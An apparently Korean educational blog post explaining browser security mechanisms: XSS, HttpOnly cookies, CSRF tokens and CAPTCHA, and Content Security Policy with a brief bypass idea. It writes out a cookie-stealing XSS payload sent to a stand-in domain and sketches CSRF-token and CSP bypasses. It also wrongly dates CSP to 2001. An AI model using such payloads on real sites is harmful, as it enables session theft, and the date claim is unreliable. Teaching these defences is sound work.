웹브라우저의 보안모델 2
XSS 취약점
SOP는 javascript가 해당 사이트 개발자가 설계한대로만 실행된다는 것을 전제로 타 도메인에 접근하지 못하게 하여 웹과 웹 간의 분리가 되는 샌드박스를 기대하며 설계하였다.
하지만 해커들은 Cross-site scripting (XSS) 취약점을 이용하여 브라우저 내의 쿠키를 포함한 정보들을 탈취할 수 있었다.
XSS 취약점은 웹사이트 관리자가 아닌 사람이 웹페이지에 악성 스크립트를 삽입할 수 있는 취약점이다.
웹 개발자의 실수로 외부로부터 입력되는 파라미터에 대한 적절한 검증을 거치지 않고 페이지 내부에 포함하는 기능을 구현하였고, 해커는 이 기능을 악용하여 XSS 취약점으로 파라미터를 통해 정보를 탈취하는 악성 스크립트를 삽입하게 되면 스크립트는 피해자의 브라우저에서 실행되어 사용자 브라우저의 정보를 탈취할 수 있다.
예를 들어 공격자가 location.href='http://example.com?'+document.cookie
라는 스크립트를 삽입하게 되면 삽입한 스크립트는 피해자의 브라우저에서 실행되고 사용자의 쿠키값이 공격자가 설정한 도메인으로 전송된다.
Set-Cookie HttpOnly
Set-Cookie 응답헤더는 서버에서 사용자 브라우저에 쿠키를 전송하기 위해 사용된다.
Set-Cookie 헤더에는 XSS취약점을 이용한 공격을 방해하기 위한 HttpOnly 속성이 존재한다.
HttpOnly 속성을 사용하면 javascript에서 document.cookie로의 접근을 차단한다.
1 | Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly |
하지만 단순하게 세션 ID가 포함된 쿠키 값에 대한 접근을 차단한다고 모든 문제가 해결되지는 않는다.
XSS 취약점은 상황에 따라 Cross-site request forgery(CSRF) 취약점으로 발전할 수 있는 가능성이 있기 때문이다.
CSRF Token & CAPTCHA
CSRF 취약점이 발생하게 되면 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 수행하게 된다.
사용자의 의지와 상관없는 요청을 강제로 전송한다.
이를 예방하기 위해 중요한 행위를 수행하는 페이지에선 임의 랜덤값인 CSRF token을 이용하여 대응하거나 CAPTCHA를 이용하여 대응할 수 있다.
CSRF Token의 경우 요청 전 페이지에서 응답값을 가져와서 CSRF Token 추출후 같이 전송하면 우회할 수 있기 때문에 완전한 방어는 아니다.
이러한 문제를 해결하기 위해 사람인지 컴퓨터 프로그램을 통해 전송되는 요청인지 확인하는 기술인 CAPTCHA기술을 이용하여 차단할 수 있다.
CSP(Content Security Policy)
위의 정책들을 사용하더라도 여전히 공격자가 XSS 취약점을 통해 사용자의 브라우저에서 javascript를 실행할 수 있다.
2001년 XSS 취약점의 대응방안인 Content Security Policy(CSP)가 등장하였다.
브라우저에 로드되는 모든 컨텐츠에 제약을 두어 통제하는 보안정책이다.
CSP는 공격자가 웹 내부에서 자바스크립트를 실행할 수 있더라도 특정 도메인의 리소스만 참조할 수 있게 하거나 리소스를 아예 참조 못하게 하는 등의 리소스에 대한 보안 정책을 설정하여 허가되지 않은 스크립트 로드 자체를 방지하는 보안 정책이다.
CSP는 응답 헤더와 meta 태그를 통해 설정 가능하다.
1 | Content-Security-Policy: default-src 'self' domain1 domain2 |
여러 태그 종류별로도 보안 설정을 다르게 하도록 설정할 수 있다.
1 | Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com |
CSP bypass
1 | Content-Security-Policy: default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css; img-src 'self'; script-src 'nonce-cyotMpPGPBs7xFYiedGn3Q' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/ |
해당 경우 img-src 가 self인 점을 이용하여 이미지로 둔갑하여 로드하고 해당 이미지를 변환해서 사용할 수 있다.
XSS 취약점이 발생할 경우 이미지를 통해서도 데이터를 유출할 수 있다.